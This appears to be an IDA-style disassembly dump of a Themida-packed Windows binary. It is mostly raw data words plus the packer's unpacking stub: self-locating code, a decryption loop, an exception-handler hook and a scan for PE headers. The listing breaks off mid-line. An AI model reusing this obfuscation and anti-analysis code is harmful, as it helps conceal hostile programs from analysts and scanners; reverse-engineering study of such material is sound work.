568F6D00h, 100h, 3 dup(0) dd 5A947A00h, 3 dup(0) dd 2216800h, 0 dd 40310A00h, 80h, 8 dup(0) dd 94B63E00h, 7B09E9FEh, 2Bh, 7 dup(0) dd 0B5083800h, 56h, 4 dup(0) dd 0E7AC5E00h, 77h, 3 dup(0) dd 9E923400h, 0FFFFFF00h, 0FFh, 0 dd 0E7A13F00h, 56F37A77h, 5 dup(0) dd 6D1100h, 98E900h, 3 dup(0) dd 5B3300h, 2 dup(0) dd 7F754400h, 94ACh, 2 dup(0) dd 4A1DD600h, 2Ah, 0FE030400h, 7Fh, 12FFF000h, 0Fh dup(0) dd 568EEA00h, 3 dup(0) dd 6D1100h, 3 dup(0) dd 33333300h, 2 dup(33333333h), 33h, 3 dup(0) dd 996EB800h, 7, 6 dup(0) dd 19CC00h, 8 dup(0) dd 37A8B800h, 18h, 4 dup(0) dd 0AAD5E300h, 0D7h, 6 dup(0) dd 585C9300h, 0 dd 0AC00h, 615FF100h, 0FFh, 3 dup(0) dd 58832700h, 9E314500h, 3 dup(0) dd 0FF938000h, 0FFh, 42DCF600h, 19h, 4 dup(0) dd 1FCFC00h, 80h, 0 dd 0A5BD8000h, 0FFh, 0 dd 5931EE00h, 0 dd 5701A900h, 2 dup(0) dd 0FFEF1800h, 8B0000FFh, 888D8D02h, 87h, 0 dd 0E7A14400h, 77h, 0 dd 12FF5400h, 2 dup(0) dd 0CA9E0400h, 27h, 26h dup(0) dd 0FFFCFC00h, 0FFh, 4D100000h, 2 dup(0) dd 0E7A83700h, 77h, 2 dup(0) dd 100h, 2 dup(0) dd 9E69DD00h, 3 dup(0) dd 0A0B13400h, 0AFB09D00h, 0EBh, 6 dup(0) dd 98633900h, 0E7A5FD7Fh, 77h, 3 dup(0) dd 28010500h, 0Ah, 2 dup(0) dd 9E69DD00h, 0ACB1CA00h, 0CEFFB000h, 1, 5 dup(0) dd 0E7A5FD00h, 77h, 0Ch dup(0) dd 58812600h, 7 dup(0) dd 90B0DA00h, 10h, 0 dd 0FFAECF00h, 0FFh, 56FFBA00h, 0FFh, 2 dup(0) dd 568EEA00h, 4 dup(0) dd 6EFFB000h, 53002301h, 0 dd 57A48600h, 0Dh dup(0) dd 0FFB79700h, 0FFh, 0CB1A700h, 9 dup(0) dd 5A428000h, 3 dup(0) dd 0DD5ECC00h, 77h, 3 dup(0) dd 5F645400h, 0FFh, 0 dd 568EEA00h, 3 dup(0) dd 0FE030400h, 7Fh, 568EEA00h, 0 dd 55E45900h, 0 dd 0FE030400h, 597F5D7Fh, 0F5000032h, 77h, 0 dd 0A7A36D00h, 2D3430FFh, 20EE931h, 0 dd 65685400h, 6164696Dh, 1Dh dup(0) dd 0FE030400h, 0E8360C7Fh, 77h, 2 dup(0) dd 568EEA00h, 0E8000h, 0FFFFFF00h, 0FFh, 5 dup(0) dd 0F0004900h, 0FFh, 0Ah dup(0) dd 22FE800h, 39002900h, 7Dh, 6C00h, 0 dd 56F8A00h, 0A3h, 9EF5B800h, 0D8FDh, 0 dd 9D00F800h, 1FCFC00h, 80h, 2300h, 0Dh dup(0) dd 8C00h, 3 dup(0) dd 0F1D2B00h, 55h, 97AE6300h, 568EEA4Ch, 0E8221C00h, 77h dd 3 dup(0) dd 40310A00h, 80h, 4 dup(0) dd 100h, 0C530DF00h, 7E8A9h, 9 dup(0) dd offset dword_450050+0F6B0h dd 4 dup(0) dd 3D694600h, 8BA0AFBBh, 0 dd 0F5125400h, 77h, 0 dd 400E900h, 3D79B100h, 59h, 57B95500h, 5 dup(0) dd 0FF97A800h, 0FFh, 0EFFB000h, 2, 6 dup(0) dd 0A28D5300h, 4 dup(0) dd 585C3600h, 5 dup(0) dd 0A7DC5E00h, 0FFh, 9 dup(0) dd 0FE030400h, 7Fh, 7E800h, 9 dup(0) dd 561FA900h, 4 dup(0) dd 0FC4C5000h, 7Bh, 2 dup(0) dd 5400h, 0 dd 568EEA00h, 2 dup(0) dd 0A09CFF00h, 0E75CB512h, 77h, 2 dup(0) dd 568EEA00h, 100h, 0DCE07D00h, 80h, 0FE030400h, 7Fh, 2 dup(0) dd 568EFC00h, 60FA0900h, 0FFh, 9 dup(0) dd 7C00h, 0AA077C00h, 3F9F8FFh, 2D23A200h, 58AD6F9Ah, 0FE030400h dd 7Fh, 0 dd 0A000000h, 64h, 0Ch dup(0) dd 0E78B8200h, 77h, 3 dup(0) dd 561D6400h, 4 dup(0) dd 9F22D400h, 0 dd 0A9372B00h, 0FFh, 11h dup(0) dd 0FE030400h, 12FD087Fh, 0 dd 12FEF000h, 0 dd 1900h, 3 dup(0) dd 0C40EE900h, 0CFAAEE08h, 0E7h, 3 dup(0) dd 572AA000h, 2 dup(0) dd 9800h, 3 dup(0) dd 35B00h, 0 dd 0E7796300h, 77h, 0 dd 0E4475300h, 52h, 0 dd 58AF2400h, 56002300h, 0 dd 59C24600h, 3 dup(0) dd 0FE030400h, 7Fh, 0 dd 0E7A09900h, 77h, 0FE030400h, 53018D7Fh, 4 dup(0) dd 1E7A3800h, 12Bh, 0 dd 5A188B00h, 9 dup(0) dd 0FE030400h, 7Fh, 5 dup(0) dd 561D8C00h, 573AAE00h, 4 dup(0) dd 0B4320E00h, 0DCh, 3 dup(0) dd 5995CF00h, 0 dd 573AB100h, 0 dd 5820AF00h, 5AF66400h, 0 dd 594E1900h, 6 dup(0) dd 0BFCEF600h, 7Fh, 2 dup(0) dd 59C24600h, 0 dd 6D1100h, 0Ah dup(0) dd 0D000000h, 3 dup(0) dd 0A9711600h, 0FFh, 5809EA00h, 61962300h, 0FFh, 9 dup(0) dd 0AA6EC900h, 420B88FFh, 0 dd 0E8279000h, 77h, 0 dd 0FDFFFF00h, 0ECFEh, 4 dup(0) dd 0F5180B00h, 0C530DF77h, 0A9h, 7 dup(0) dd 34567800h, 12h, 4 dup(0) dd 585C9300h, 9 dup(0) dd 0A6B26200h, 0FFh, 56BDD600h, 0 dd 9E229200h, 3 dup(0) dd 0FFFCFC00h, 0FFh, 0 dd 4EFFB000h, 1, 17h dup(0) dd 5EF41D00h, 470000FEh, 2, 9DD55400h, 8 dup(0) dd 0B5000000h, 0 dd 583B2F00h, 1101F800h, 80h, 4 dup(0) dd 6BC100h, 0 dd 588AFD00h, 0E7A83780h, 0F477h, 4 dup(0) dd 32A000h, 0C4h, 1C213800h, 37h, 5 dup(0) dd 560F5500h, 56002300h, 0 dd 569F0600h, 0 dd 79938500h, 0DCh, 3 dup(0) dd 0E793EF00h, 77h, 1Bh dup(0) dd 531B7A00h, 3 dup(0) dd 0B4320E00h, 0DCh, 0C67ADD00h, 7, 6 dup(0) dd 0A137B600h, 1, 0 dd 9B02D000h, 49h, 0 dd 1FCFC00h, 80h, 2 dup(0) dd 568F6D00h, 2 dup(0) dd 2155C00h, 2 dup(0) dd 0E83E6800h, 77h, 59F7D600h, 561AE300h, 0Dh dup(0) dd 100h, 2 dup(0) dd 12FFA400h, 56F11100h, 9000h, 5 dup(0) dd 56ED0E00h, 2Ah, 4 dup(0) dd 0A000h, 9EA00F00h, 7400h, 2 dup(0) dd 100h, 0F0BF0400h, 0BAh, 56B22800h, 9F326880h, 9D003E00h dd 3 dup(0) dd 0F1BA7F00h, 63h, 3 dup(0) dd 9E70C400h, 9D000000h, 11h dup(0) dd 0DE817700h, 438D8D11h, 0E8061859h, 77h, 0A9502D00h dd 0A07316FFh, 0Ch dup(0) dd 530B2500h, 7 dup(0) dd 0E6D70600h, 0E0477h, 0 dd 1FCFC00h, 80h, 2 dup(0) dd 59621600h, 52FB1900h, 5931BE00h, 0FF966000h, 0FFh, 6 dup(0) dd 0D800h, 5823A200h, 2 dup(0) dd 12FD0800h, 2 dup(0) dd 0FC502400h, 77h, 0 dd 0AEA1FE00h, 3 dup(0) dd 36363600h, 36h, 130000h, 568EEA00h, 0 dd 0FB5E200h, 8Ah, 4 dup(0) dd 3A000h, 0 dd 0FE030400h, 7Fh, 8 dup(0) dd 5301E200h, 4 dup(0) dd 5C3A4300h, 444E4957h, 5C53574Fh, 74737953h, 32336D65h dd 5644415Ch, 33495041h, 6C642E32h, 6Ch, 39h dup(0) dd 9E69DD00h, 5 dup(0) dd 0C530DF00h, 0A09BACA9h, 0 dd 0AFE500h, 2 dup(0) dd 531E8900h, 0 dd 6B5CA000h, 49h, 0 dd 0FDF11700h, 0FFh, 9E5E2E00h, 5 dup(0) dd 53002300h, 3 dup(0) dd 1FCFC00h, 9E70C480h, 0FFFFFF00h, 0FFh, 5 dup(0) dd 585C9300h, 0 dd 41FD1400h, 0FFh, 0 dd 9EA00F00h, 2 dup(0) dd 17FB800h, 0 dd 9E69DD00h, 0 dd 8059FD00h, 80h, 19h dup(0) dd 6A000000h, 0E8h, 9F156400h, 0 dd 41054500h, 0C1h, 0 dd 42800h, 3 dup(0) dd 594D9E00h, 9DB16800h, 0Dh dup(0) dd 55E45C00h, 9A8D8D00h, 3Ah, 4 dup(0) dd 9E69DD00h, 5 dup(0) dd 48491000h, 2Ah, 0A2A5E700h, 5 dup(0) dd 30DF00h, 0 dd 53018D00h, 4 dup(0) dd 0FDEE6100h, 7Fh, 0DC8F3700h, 0Ah dup(0) dd 7F917400h, 9B788041h, 0D5h, 59892100h, 3 dup(0) dd 0FE030400h, 13E87Fh, 7 dup(0) dd 0A8EE0A00h, 55h, 100h, 3 dup(0) dd 58AF2400h, 2 dup(0) dd 568EEA00h, 2 dup(0) dd 0FE030400h, 7Fh, 2 dup(0) dd 12FF5400h, 3 dup(0) dd 64FFC700h, 0DDh, 0E776CD00h, 77h, 4 dup(0) dd 3F000000h, 2, 568EEA00h, 8 dup(0) dd 9EA03700h, 0F40FC00h, 6C58A245h, 64h, 6 dup(0) dd 0FE030400h, 7Fh, 0FE030400h, 7Fh, 2 dup(0) dd 0A07FD800h, 4 dup(0) dd 576E2C00h, 0 dd 0DD000000h, 315D77h, 50680100h, 0AFB44900h, 0DBh, 3 dup(0) dd 3900h, 0 dd 10E800h, 0 dd 30DF00h, 6 dup(0) dd 0FE030400h, 7Fh, 0E5E900h, 2 dup(0) dd 12FF6000h, 0 dd 400E900h, 4 dup(0) dd 30000h, 1Ah dup(0) dd 59523300h, 0 dd 21212100h, 21h, 2 dup(0) dd 0D301400h, 9F156400h, 9E915B00h, 12FD0800h, 3 dup(0) dd 0B4320E00h, 25FA10DCh, 3 dup(0) dd 7800h, 9 dup(0) dd 0AB7D3500h, 0C1BC0455h, 9D0FE68Eh, 7 dup(0) dd 5B227C00h, 76h, 6 dup(0) dd 6D1100h, 0Dh dup(0) dd 679CC700h, 7F6CB880h, 2, 58E33200h, 568C7700h, 4 dup(0) dd 0FE030400h, 7Fh, 7 dup(0) dd 562FFD00h, 6 dup(0) dd 0B800h, 0C00B0000h, 18C20374h, 24448B00h, 0E8530Ch dd 5B000000h, 17C381h, 5C890000h, 44891024h, 0B85B1424h dd 9EA037h, 448BE0FFh, 0E0FF0424h, 15h dup(0) dd 9EED1F00h, 0 dd 8400h, 2 dup(0) dd 0FE030400h, 275EF77Fh, 0FE030437h, 52EE957Fh, 8800h dd 3 dup(0) dd 2800h, 0F39C2000h, 0FAh, 0Ah dup(0) dd 56F37A00h, 59A8C700h, 2 dup(0) dd 561D3C00h, 9E939300h, 0 dd 9E69DD00h, 0 dd 40310A00h, 80h, 8704EB00h, 57h, 2 dup(0) dd 0AED03600h, 12h dup(0) dd 571B5D00h, 3520000h, 0 dd 0FFFFFF00h, 0FFh, 2 dup(0) dd 58A36000h, 2 dup(0) dd 0FE030400h, 67Fh, 2 dup(0) dd 191900h, 6 dup(0) dd 56156500h, 9E8C0A00h, 0FF965C00h, 0E7C486FFh, 5823A277h dd 0 dd 1BAC00h, 8647DF00h, 74h, 2 dup(0) dd 0FEF7FF00h, 7Fh, 16h dup(0) dd 13E800h, 0 dd 571B5D00h, 0 dd 5966CF00h, 2 dup(0) dd 6D1100h, 4 dup(0) dd 0FFFFFF00h, 0FFh, 4 dup(0) dd 0FE030400h, 60907Fh, 0FE030400h, 7Fh, 2 dup(0) dd 0E6000000h, 0A8036E77h, 0FFh, 2 dup(0) dd 0FE030400h, 7Fh, 0FFB79700h, 0FFh, 0 dd 0F52E0F00h, 77h, 40310A00h, 80h, 80h dup(0) dd 2B341300h, 14h, 2 dup(0) dd 9D000000h, 4 dup(0) dd 12FF5400h, 2 dup(0) dd 0FFFFFF00h, 0FFh, 5B227C00h, 76h, 0D4C96B00h, 77h, 0 db 0 byte_530055 db 3 dup(0) ; DATA XREF: ___:off_42CC84o ; ___:off_42CC9Co dd 3 dup(0) dd 0FE010400h, 7Fh, 6 dup(0) dd 571B5D00h, 58000000h, 2, 8 dup(0) dd 0F7EB100h, 6Ch, 0Ah dup(0) dd 6B2E9A00h, 49h, 0 dd 40310A00h, 80h, 2 dup(0) dd 0FF9B7000h, 0E75CB5FFh, 77h, 2 dup(0) dd 0FFA11000h, 0FFh, 3 dup(0) dd 5AF66400h, 2 dup(0) dd 66D24600h, 0FFh, 0Ch dup(0) dd 9E69DD00h, 2 dup(0) dd 56002300h, 0EBA6E900h, 77h, 57099400h, 0E3h, 571BDB00h dd 9F156800h, 0 dd 581CF400h, 9E6CB000h, 57000000h, 2, 0FD8E8300h, 7Fh dd 9E939300h, 0E17F3B00h, 5Eh, 0 dd 59184200h, 2 dup(0) dd 0A8000000h, 531645FFh, 66h dup(0) dd 1C8E900h, 4 dup(0) dd 0A5F0200h, 2Bh dup(0) dd 400E900h, 0 dd 100h, 8 dup(0) dd 0F51B2B00h, 77h, 0AFh dup(0) dd 0FF8EEA00h, 0FFh, 2 dup(0) dd 30DF00h, 0 dd 0FFFFFF00h, 0FFh, 2 dup(0) dd 0FA090C00h, 7Fh, 55597400h, 86h, 0 dd 100h, 0 dd 568EEA00h, 3 dup(0) dd 0AC000000h, 3 dup(0) dd 0ED00AC00h, 0FFh, 9EA00F00h, 4 dup(0) dd 20E5700h, 49h, 2 dup(0) dd 7000h, 3 dup(0) dd 59348C00h, 0 dd 0FB5E200h, 5D4FF58Ah, 7Fh, 0 dd 6D1100h, 0 dd 100h, 2 dup(0) dd 0E78B8200h, 77h, 4 dup(0) dd 0FEFED400h, 9E2BDE7Fh, 0 dd 58AF2400h, 100h, 0 dd 59EBDF00h, 3 dup(0) dd 0FFFFFC00h, 0FFh, 0 dd 568EEA00h, 0Dh dup(0) dd 0A9711600h, 0FFh, 2 dup(0) dd 1FCFC00h, 80h, 8 dup(0) dd 6D1100h, 3 dup(0) dd 585CCC00h, 9E69DD00h, 2 dup(0) dd 2BC5F300h, 0D6h, 948D8D00h, 57h, 0 dd 0FE030400h, 585C937Fh, 0 dd 0FFA34000h, 0FFh, 2 dup(0) dd 4BABD200h, 80h, 0A4A1A500h, 7Fh, 7 dup(0) dd 1F55BF00h, 52h, 0 dd 12FF5400h, 0 dd 9EA00F00h, 4 dup(0) dd 0D4000000h, 77h, 0Bh dup(0) dd 20E5700h, 49h, 6 dup(0) dd 0A5E11E00h, 0FFh, 0 dd 9E69DD00h, 2 dup(0) dd 400h, 8 dup(0) dd 2EFFB000h, 9F23E802h, 4 dup(0) dd 2B0E900h, 0 dd 0A800h, 3 dup(0) dd 9FE8B600h, 0 dd 1FCB2300h, 4Fh, 0Bh dup(0) dd 9EA00F00h, 0 dd 0FE030400h, 9E3E3B7Fh, 2 dup(0) dd 5965C300h, 3 dup(0) dd 561AC900h, 0E7A83700h, 77h, 0 dd 0FE030400h, 52E47Fh, 2 dup(0) dd 585C9300h, 56A74F00h, 0D4C96A00h, 77h, 2B341300h, 14h dd 0 dd 0E805D800h, 0FFAFF477h, 7Fh, 12FFE000h, 8 dup(0) dd 0F7EBB300h, 0F34E5977h, 0FFh, 2 dup(0) dd 0DD189A00h, 9D000077h, 5 dup(0) dd 40310A00h, 80h, 0E82FE800h, 77h, 0 dd 9D317C00h, 68h, 400h, 2 dup(0) dd 6D1100h, 4 dup(0) dd 40100000h, 4 dup(0) dd 9E69DD00h, 4 dup(0) dd 100h, 0 dd 0FEFEBC00h, 0FFh, 0 dd 200000h, 40310A00h, 80h, 0 dd 0F4464200h, 0D9h, 0A38EE200h, 62h, 4 dup(0) dd 9E8C0A00h, 0Eh dup(0) dd 0C530DF00h, 0A9h, 4 dup(0) dd 570B7000h, 0 dd 0FE030400h, 0FFFE887Fh, 0FFh, 56002300h, 2 dup(0) dd 22222200h, 22222222h, 22h, 0 dd 57F73D00h, 5 dup(0) dd 9E09F700h, 0 dd 9EA00F00h, 2 dup(0) dd 0FF965C00h, 0FFh, 0 dd offset dword_5AEB00 dd 0 dd 581A7600h, 0DD59F000h, 77h, 3 dup(0) dd 400E900h, 58056200h, 2 dup(0) dd 5800h, 2 dup(0) dd 5A1E4C00h, 0Ah dup(0) dd 52F6B500h, 5 dup(0) dd 200h, 3 dup(0) dd 0A8E4A300h, 4F7BE5FFh, 61h, 4 dup(0) dd 0D3EEDB00h, 80FEh, 0 dd 53164500h, 3 dup(0) dd 0C70000h, 0 dd 6D9300h, 0 dd 0FF7FFE00h, 9E9C3700h, 6 dup(0) dd 6D1100h, 4 dup(0) dd 0A2999500h, 7400h, 4 dup(0) dd 5A000000h, 2, 9 dup(0) dd 67151800h, 7Ch, 6 dup(0) dd 20EE900h, 3 dup(0) dd 8B19F600h, 2, 40310A00h, 80h, 2 dup(0) dd 12FF5400h, 0 dd 568CE800h, 3 dup(0) dd 0DD23D700h, 99692F77h, 0CBh, 0Ah dup(0) dd 12FEF000h, 2 dup(0) dd 24242400h, 24h, 2 dup(0) dd 0B41B4000h, 0EA81376h, 45h, 3 dup(0) dd 0B800h, 3 dup(0) dd 0C70000h, 6 dup(0) dd 9E24DC00h, 43h, 2 dup(0) dd 1B200000h, 0FCh, 9 dup(0) dd 40310A00h, 80h, 1Dh dup(0) dd 9D000000h, 0ED00AC00h, 0FFh, 12FFC400h, 4 dup(0) dd 9C00h, 0 dd 7C5DCA00h, 58AD6F78h, 0 dd 0A000000h, 0E8216864h, 77h, 5 dup(0) dd 6BDC00h, 7D8EA500h, 9, 4 dup(0) dd 11111100h, 11h, 0 dd 400h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_530FE9: ; CODE XREF: start:loc_52DCF8j mov eax, ebp mov edx, esp pusha call $+5 pop ebp sub ebp, 61F32FBh mov [ebp+61F327Dh], edx mov [ebp+61F1245h], esi mov [ebp+61F0765h], eax cmp dword ptr [ebp+61F1FB1h], 0 jz short loc_531021 mov ebp, eax mov esp, edx mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_531021: ; CODE XREF: start+5DFFFj mov eax, [esp+40h+var_1C] mov [ebp+61F2101h], eax push 45h call sub_5310D5 push 783749Ah call sub_53111B push 0A894B25h call sub_53111B jmp loc_53125F ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 45h dd 49484746h, 4D4C4B4Ah, 51504F4Eh, 55545352h, 59585756h dd 5D5C5B5Ah, 61605F5Eh, 65646362h, 69686766h, 6D6C6B6Ah dd 71706F6Eh, 75747372h, 79787776h, 7D7C7B7Ah, 81807F7Eh dd 85848382h, 89888786h, 8D8C8B8Ah, 91908F8Eh, 95949392h dd 99989796h, 9D9C9B9Ah, 0A1A09F9Eh, 0A5A4A3A2h, 0A9A8A7A6h dd 0ADACABAAh, 0B1B0AFAEh, 0B5B4B3B2h, 0B9B8B7B6h, 0BDBCBBBAh dd 0C1C0BFBEh, 0C3C2h, 2 dup(0) db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5310D5 proc near ; CODE XREF: start+5E019p var_28 = dword ptr -28h var_24 = dword ptr -24h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFD8h pusha call $+5 pop edx sub edx, 61F33E9h mov ebx, edx mov [ebp+var_28], 0 loc_5310F1: ; CODE XREF: sub_5310D5+39j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax cmp [ebp+var_28], 80h jz short loc_531110 mov eax, [ebp+arg_0] mov [ebx+61F3353h], eax inc [ebp+arg_0] inc ebx jmp short loc_5310F1 ; --------------------------------------------------------------------------- loc_531110: ; CODE XREF: sub_5310D5+2Aj mov [ebp+var_24], eax popa mov eax, [ebp+var_24] leave retn 4 sub_5310D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_53111B proc near ; CODE XREF: start+5E023p start+5E02Dp var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFF7Ch pusha call $+5 pop edx sub edx, 61F3432h lea eax, [ebp+var_80] mov ebx, [ebp+arg_0] mov [ebp+var_84], 0 loc_531141: ; CODE XREF: sub_53111B+41j mov ecx, [ebp+var_84] rol ebx, 1 mov [eax], bl inc ecx mov [ebp+var_84], ecx cmp [ebp+var_84], 80h jnz short loc_531141 mov [ebp+var_84], 0 lea edi, [edx+61F3353h] lea esi, [ebp+var_80] loc_531171: ; CODE XREF: sub_53111B+83j mov cl, [esi] mov ebx, 1F4h mov eax, 785437ABh loc_53117D: ; CODE XREF: sub_53111B+69j rcl eax, cl mov cl, [edi] rcl eax, cl dec ebx jnz short loc_53117D imul eax, ebx inc edi inc esi mov ecx, [ebp+var_84] inc ecx mov [ebp+var_84], ecx cmp ecx, 80h jnz short loc_531171 popa leave retn 4 sub_53111B endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFF0h mov esi, [ebp+8] mov dword ptr [ebp-4], 0 jmp short loc_5311BB ; --------------------------------------------------------------------------- loc_5311B7: ; CODE XREF: Themida_:005311BEj inc dword ptr [ebp-4] inc esi loc_5311BB: ; CODE XREF: Themida_:005311B5j cmp byte ptr [esi], 0 jnz short loc_5311B7 mov edx, 0 mov esi, [ebp+8] mov edi, [ebp+0Ch] jmp short loc_53124C ; --------------------------------------------------------------------------- loc_5311CD: ; CODE XREF: Themida_:0053124Fj mov dword ptr [ebp-8], 0 jmp short loc_531243 ; --------------------------------------------------------------------------- loc_5311D6: ; CODE XREF: Themida_:00531247j mov dword ptr [ebp-10h], 0 mov dword ptr [ebp-0Ch], 0 jmp short loc_531230 ; --------------------------------------------------------------------------- loc_5311E6: ; CODE XREF: Themida_:00531234j shl dword ptr [ebp-10h], 4 mov eax, [ebp-8] shl eax, 1 add eax, edx add eax, [ebp-0Ch] xor ebx, ebx mov bl, [eax+esi] cmp bl, 30h jb short loc_531208 cmp bl, 39h ja short loc_531208 sub bl, 30h jmp short loc_53122A ; --------------------------------------------------------------------------- loc_531208: ; CODE XREF: Themida_:005311FCj ; Themida_:00531201j cmp bl, 61h jb short loc_53121A cmp bl, 66h ja short loc_53121A sub bl, 61h add bl, 0Ah jmp short loc_53122A ; --------------------------------------------------------------------------- loc_53121A: ; CODE XREF: Themida_:0053120Bj ; Themida_:00531210j cmp bl, 41h jb short loc_53122A cmp bl, 46h ja short loc_53122A sub bl, 41h add bl, 0Ah loc_53122A: ; CODE XREF: Themida_:00531206j ; Themida_:00531218j ... add [ebp-10h], ebx inc dword ptr [ebp-0Ch] loc_531230: ; CODE XREF: Themida_:005311E4j cmp dword ptr [ebp-0Ch], 2 jb short loc_5311E6 cmp dword ptr [ebp-10h], 0 jbe short loc_531240 mov eax, [ebp-10h] stosb loc_531240: ; CODE XREF: Themida_:0053123Aj inc dword ptr [ebp-8] loc_531243: ; CODE XREF: Themida_:005311D4j cmp dword ptr [ebp-8], 2 jb short loc_5311D6 add edx, 4 loc_53124C: ; CODE XREF: Themida_:005311CBj cmp edx, [ebp-4] jb loc_5311CD mov al, 0 stosb mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_53125F: ; CODE XREF: start+5E032j mov ecx, 7000h lea edi, [ebp+61F3578h] loc_53126A: ; CODE XREF: start+5E25Aj dec byte ptr [edi] inc edi dec ecx jnz short loc_53126A mov eax, 48692121h mov edx, 0F00D3000h sub edx, 0F0000000h lea eax, [ebp+61F3695h] push eax push large dword ptr fs:0 mov large fs:0, esp call $+5 pop eax sbb ebx, 6E584BF7h mov bl, 73h push 0 push edx call sub_5312AE and [edx-3Dh], bl ; END OF FUNCTION CHUNK FOR start ; =============== S U B R O U T I N E ======================================= sub_5312AE proc near ; CODE XREF: start+5E292p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 14h inc edx push edx retn sub_5312AE endp ; --------------------------------------------------------------------------- aKJ db 'k+Âj',0 db 53h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 0E9896A00h, 11h, 68CC3FE2h, 778C3536h, 0EA1979E0h, 1C12FF7h dd 0F0002569h, 0C381FFFFh, 21A2A655h, 0FF33CA8Bh, 4D388166h dd 0F0E755Ah, 33C50B7h, 503A81D0h, 74000045h, 10002D08h dd 0EB470000h, 58F64E3h, 0 dd 8D04C483h, 1F36A895h, 0FF645206h, 35h, 25896400h, 0 dd 2DC103h, 8B000010h, 0E6810470h, 0FFFF0000h, 0FE81h dd 3768000h, 331C708Bh, 32F883C0h, 81661F74h, 745A4D3Eh dd 0EE8109h, 40000100h, 7E8BEBEBh, 81FE033Ch, 45503Fh dd 0EB447400h, 58F64E8h, 0 dd 6104C483h, 4C8B51C3h, 0A9811024h, 0B0h, 1000h, 0C3C03359h dd 244C8B51h, 0E85510h, 5D000000h, 36B3ED81h, 858D061Fh dd 61F3671h, 0B88189h, 595D0000h, 96C3C033h, 58F64h, 83000000h dd 800F04C4h, 2, 8C6607B3h, 2840FD9h, 0B3000000h, 80F88AE1h dd 6A04E1h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 50DB32C3h, 0CB81D1B4h, 53CD1A04h, 11E9h dd 0D2D8D500h, 0E6AD53B9h, 74CE5304h, 4E0BD00Fh, 0C90A8E4Dh dd 2A850Fh, 0C1BB0000h, 0C72EF00Fh, 1F0EF585h, 106h, 0BB666000h dd 0E961C896h, 1Dh, 0BE9h, 1595700h, 3A39FAD1h, 0B58F680Bh dd 0EF585C7h, 61Fh, 0BF0F0000h, 0D98589D9h, 0BB061F20h dd 438AA177h, 32718589h, 10E8061Fh, 0E3000000h, 24E6CDFFh dd 444E1026h, 0CE8D6692h, 60659A4Eh, 14E9FD8Ah, 17000000h dd 0F091BEF0h, 699AFA68h, 11B98074h, 0C84370Fh, 6195B8CAh dd 0C181F959h, 64E7h, 0CE9h, 0F15F6900h, 0A23ED0DCh, 0D844BC02h dd 0E0BEBE8Bh, 0EE815262h, 5262C7B7h, 8B6631FFh, 0F9605AD9h dd 0BB66F860h, 61614E6Ah, 0F6FBC281h, 0B70F39B7h, 67F281FEh dd 8120872Dh, 0C6212FC2h, 0FE908h, 57220000h, 0EDABF335h dd 898E9666h, 19CBF3D5h, 80118904h, 0E983CBDFh, 2810F01h dd 8B000000h, 494949FEh, 6840F60h, 0F000000h, 81h, 6E900h dd 0A13E0000h, 604A628Eh, 1EE8361h, 0FF92850Fh, 5E8FFFFh dd 17000000h, 6EC387DBh, 32F78166h, 7E8587Ch, 0DC000000h dd 4D6C90CBh, 860F23D4h, 2, 0E95AF2B7h, 13h, 0CC7649B8h dd 0C82AF691h, 6D636DBh, 5A948756h, 81B373EBh, 63ACC2h dd 8A0F00h, 0BF000000h, 18B6h, 38A0Fh, 0D3800000h, 66028B89h dd 38A6D981h, 0CEC0C081h, 81664644h, 8175CDD1h, 1AA4DDE8h dd 1F5CBE4Ch, 0F0810A64h, 2C7747F7h, 0E90289F5h, 0Fh, 0ED5A6E3Ah dd 0FD3AA3DFh, 8F60A666h, 81B3FE3Dh, 9CB0F2EAh, 0BAB96652h dd 0EEC28171h, 0F529CB0h, 58Dh, 8B665000h, 0EF8359CEh dd 21850F01h, 0F000000h, 28Ah, 0E9D6B500h, 2Bh, 6507EBEEh dd 526FC396h, 45D513C8h, 79FFEF2Fh, 755FCDEEh, 1B5DD681h dd 76E90D7Fh, 5DFFFFFFh, 1EC18223h, 966262B6h, 0E96A1B22h dd 750h, 15ED8060h, 61E4C381h, 176112AEh, 2, 68D0F00h dd 89000000h, 1F0A4D95h, 820F6006h, 6, 10159589h, 8A0F061Fh dd 6, 2CB18D89h, 0C02B061Fh, 19820F60h, 0E9000000h, 14h dd 7428EBD9h, 0B1064BF1h, 0CA5CB57Ch, 0DBE3E7E8h, 0C66D62C3h dd 13418D8Bh, 0F61061Fh, 688h, 3D8D3100h, 8B061F10h, 89282454h dd 1F2C2185h, 6D858906h, 89061F10h, 1F1E05BDh, 3CBE06h dd 9D890000h, 61F02E9h, 24247403h, 0B5952B60h, 66061F0Fh dd 0FB8DC181h, 0CD958961h, 66061F2Ah, 8E9ADh, 18F10000h dd 8E456AE4h, 4403503Eh, 9D292424h, 61F0D39h, 0A2B26050h dd 8961DA8Bh, 8E92404h, 0A9000000h, 0DB5CF494h, 8BAF3B2Ah dd 66607840h, 8166DE8Bh, 618BA0F2h, 0FE9h, 89CAFF00h, 0C4A66C9h dd 0DFA61F50h, 9169F162h, 28244403h, 11E9h, 4A60200h, 0A2F76793h dd 59E36D41h, 2E0ED305h, 408B69CEh, 89BD2918h, 0E9061F24h dd 0Eh, 740C2E5Ch, 94CBC005h, 68151E3Eh, 0F4004E9h, 681h dd 0B58D8900h, 89061F1Dh, 1F393B85h, 10E906h, 1C520000h dd 0FE81BAB1h, 0B2E94E2Fh, 1525EACh, 0E9581214h, 10h, 0BA12D944h dd 0B5AA0CE4h, 0BB880B1Ah, 54D3EBFAh, 8978708Bh, 1F170995h dd 1CC68306h, 247403F8h, 0BD8DFC24h, 61F2495h, 5DB58B60h dd 66061F08h, 611D32BEh, 758589ADh, 3061F06h, 